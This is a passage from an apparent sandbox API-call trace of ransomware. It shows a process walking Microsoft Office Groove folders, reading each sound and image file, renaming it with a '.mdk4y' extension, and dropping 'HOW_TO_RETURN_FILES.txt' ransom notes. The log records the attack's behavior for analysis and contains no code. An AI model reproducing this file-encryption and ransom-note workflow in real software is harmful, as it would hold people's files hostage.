lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Things", lpUsedDefaultChar=0x37dec0) returned 6 [0213.877] AreFileApisANSI () returned 1 [0213.877] GetACP () returned 0x4e4 [0213.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6b9f70, cbMultiByte=64, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\ˌ") returned 64 [0213.889] AreFileApisANSI () returned 1 [0213.889] GetACP () returned 0x4e4 [0213.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 1 [0213.889] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.889] AreFileApisANSI () returned 1 [0213.889] GetACP () returned 0x4e4 [0213.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 2 [0213.889] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.889] AreFileApisANSI () returned 1 [0213.889] GetACP () returned 0x4e4 [0213.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CAN.WAV", cchWideChar=7, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="CAN.WAVxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 7 [0213.890] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\can.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.891] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828912000000) returned 1 [0213.891] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xc8fc, lpOverlapped=0x0) returned 1 [0213.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828913100000) returned 1 [0213.901] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828913100000) returned 1 [0213.902] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\can.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\CAN.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\can.wav.mdk4y")) returned 1 [0213.904] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.904] AreFileApisANSI () returned 1 [0213.904] GetACP () returned 0x4e4 [0213.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="COUPLER.WAV", cchWideChar=11, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="COUPLER.WAVefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 11 [0213.904] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\coupler.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.904] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828913400000) returned 1 [0213.904] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x9f18, lpOverlapped=0x0) returned 1 [0213.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828918500000) returned 1 [0213.955] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828918500000) returned 1 [0213.956] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\coupler.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\COUPLER.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\coupler.wav.mdk4y")) returned 1 [0213.957] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.957] AreFileApisANSI () returned 1 [0213.957] GetACP () returned 0x4e4 [0213.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HORN.WAV", cchWideChar=8, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="HORN.WAVWAV", lpUsedDefaultChar=0x37de34) returned 8 [0213.957] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\horn.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.958] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828918800000) returned 1 [0213.958] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xa412, lpOverlapped=0x0) returned 1 [0213.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828918900000) returned 1 [0213.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828918900000) returned 1 [0213.960] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\horn.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\horn.wav.mdk4y")) returned 1 [0213.961] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.961] AreFileApisANSI () returned 1 [0213.961] GetACP () returned 0x4e4 [0213.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SHOT.WAV", cchWideChar=8, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SHOT.WAV", lpUsedDefaultChar=0x37de34) returned 8 [0213.961] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shot.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.962] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828919200000) returned 1 [0213.962] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xb14e, lpOverlapped=0x0) returned 1 [0213.981] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828921100000) returned 1 [0213.981] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828921100000) returned 1 [0213.981] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shot.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shot.wav.mdk4y")) returned 1 [0213.982] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.982] AreFileApisANSI () returned 1 [0213.982] GetACP () returned 0x4e4 [0213.982] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SHOVEL.WAV", cchWideChar=10, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SHOVEL.WAVV", lpUsedDefaultChar=0x37de34) returned 10 [0213.982] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shovel.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.983] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828921300000) returned 1 [0213.983] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xf548, lpOverlapped=0x0) returned 1 [0213.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828921600000) returned 1 [0213.986] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828921600000) returned 1 [0213.987] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shovel.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOVEL.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shovel.wav.mdk4y")) returned 1 [0213.988] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0213.988] AreFileApisANSI () returned 1 [0213.988] GetACP () returned 0x4e4 [0213.988] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SPLASH.WAV", cchWideChar=10, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="SPLASH.WAV", lpUsedDefaultChar=0x37de34) returned 10 [0213.988] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\splash.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0213.989] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828921900000) returned 1 [0213.990] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xedd6, lpOverlapped=0x0) returned 1 [0214.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828923800000) returned 1 [0214.008] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828923800000) returned 1 [0214.009] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\splash.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SPLASH.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\splash.wav.mdk4y")) returned 1 [0214.010] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0214.010] AreFileApisANSI () returned 1 [0214.010] GetACP () returned 0x4e4 [0214.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WHOOSH.WAV", cchWideChar=10, lpMultiByteStr=0x6a207c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="WHOOSH.WAV", lpUsedDefaultChar=0x37de34) returned 10 [0214.010] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\whoosh.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0214.011] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828924100000) returned 1 [0214.012] ReadFile (in: hFile=0x130, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x6bbc, lpOverlapped=0x0) returned 1 [0214.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828925200000) returned 1 [0214.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1828925200000) returned 1 [0214.023] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\whoosh.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\WHOOSH.WAV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\whoosh.wav.mdk4y")) returned 1 [0214.024] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0214.024] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0214.024] AreFileApisANSI () returned 1 [0214.024] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x691c88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 88 [0214.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xe0 [0214.025] GetFileType (hFile=0xe0) returned 0x1 [0214.026] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 0 [0214.026] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0214.026] AreFileApisANSI () returned 1 [0214.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0214.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0214.027] GetFileType (hFile=0xd8) returned 0x1 [0214.027] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0214.027] AreFileApisANSI () returned 1 [0214.027] GetACP () returned 0x4e4 [0214.028] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ToolBMPs", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ToolBMPsates", lpUsedDefaultChar=0x37df4c) returned 8 [0214.028] AreFileApisANSI () returned 1 [0214.028] GetACP () returned 0x4e4 [0214.028] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=59, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned 59 [0214.030] AreFileApisANSI () returned 1 [0214.030] GetACP () returned 0x4e4 [0214.030] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 1 [0214.030] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.032] AreFileApisANSI () returned 1 [0214.032] GetACP () returned 0x4e4 [0214.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 2 [0214.032] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.032] AreFileApisANSI () returned 1 [0214.032] GetACP () returned 0x4e4 [0214.032] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CalendarToolIconImages.jpg", cchWideChar=26, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CalendarToolIconImages.jpgUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 26 [0214.032] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.033] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828926300000) returned 1 [0214.033] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x14c9, lpOverlapped=0x0) returned 1 [0214.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828926500000) returned 1 [0214.035] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828926500000) returned 1 [0214.035] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImages.jpg.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimages.jpg.mdk4y")) returned 1 [0214.037] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.037] AreFileApisANSI () returned 1 [0214.037] GetACP () returned 0x4e4 [0214.037] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CalendarToolIconImagesMask.bmp", cchWideChar=30, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="CalendarToolIconImagesMask.bmp5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37dec0) returned 30 [0214.037] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimagesmask.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.038] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828926800000) returned 1 [0214.038] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x538, lpOverlapped=0x0) returned 1 [0214.051] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828928100000) returned 1 [0214.052] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828928100000) returned 1 [0214.052] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimagesmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\CalendarToolIconImagesMask.bmp.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\calendartooliconimagesmask.bmp.mdk4y")) returned 1 [0214.054] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0214.054] AreFileApisANSI () returned 1 [0214.054] GetACP () returned 0x4e4 [0214.054] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ChessIconImages.bmp", cchWideChar=19, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ChessIconImages.bmpgesMask.bmp", lpUsedDefaultChar=0x37dec0) returned 19 [0214.054] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimages.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0214.055] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828928500000) returned 1 [0214.055] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf38, lpOverlapped=0x0) returned 1 [0214.057] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828928700000) returned 1 [0214.057] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828928700000) returned 1 [0214.057] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\chessiconimages.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\ChessIconImages.bmp.mdk4y" (normalized: "c:\\program files\\microsoft 